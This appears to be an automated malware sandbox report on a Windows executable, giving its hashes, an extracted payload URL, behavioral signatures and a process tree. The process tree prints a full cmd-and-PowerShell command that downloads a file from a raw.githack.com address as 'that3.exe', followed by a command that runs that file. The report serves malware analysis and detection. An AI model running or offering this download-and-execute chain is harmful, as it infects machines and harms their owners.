Analysis
-
max time kernel
94s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:14
Behavioral task
behavioral1
Sample
17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
Resource
win7-20241010-en
General
-
Target
17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
-
Size
89KB
-
MD5
8ab6d02d09997d5a1db2420aa60bb0e0
-
SHA1
67d2e628591e369c658cc2a65aa88b1fb8eb5863
-
SHA256
17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3
-
SHA512
8ed4116295add2915c4957f4c5af54d6a7f02d3b961278e63dd7fe730d6f41686550b3b2156cdce2df2e848358b8ece38157ace9762162a071aed3a7670d7447
-
SSDEEP
1536:zMFWeATa+8j6IuQ1crSgUZdnXAvU/XPNwsWh/5tDdWcFfjEQM3U0LRMaE:I7Z+LIB/n4U/fid9jpNfjEB37MaE
Malware Config
Extracted
https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 4508 powershell.exe 9 4508 powershell.exe -
pid Process 4508 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 raw.githubusercontent.com 8 raw.githubusercontent.com -
resource yara_rule behavioral2/memory/2348-0-0x0000000000400000-0x000000000040E000-memory.dmp upx behavioral2/memory/2348-19-0x0000000000400000-0x000000000040E000-memory.dmp upx -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4508 powershell.exe 4508 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4508 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2348 wrote to memory of 4492 2348 17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe 84 PID 2348 wrote to memory of 4492 2348 17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe 84 PID 4492 wrote to memory of 4508 4492 cmd.exe 85 PID 4492 wrote to memory of 4508 4492 cmd.exe 85 PID 2348 wrote to memory of 2160 2348 17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe 86 PID 2348 wrote to memory of 2160 2348 17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe 86
Processes
-
C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe"C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')2⤵
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c that3.exe2⤵PID:2160
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82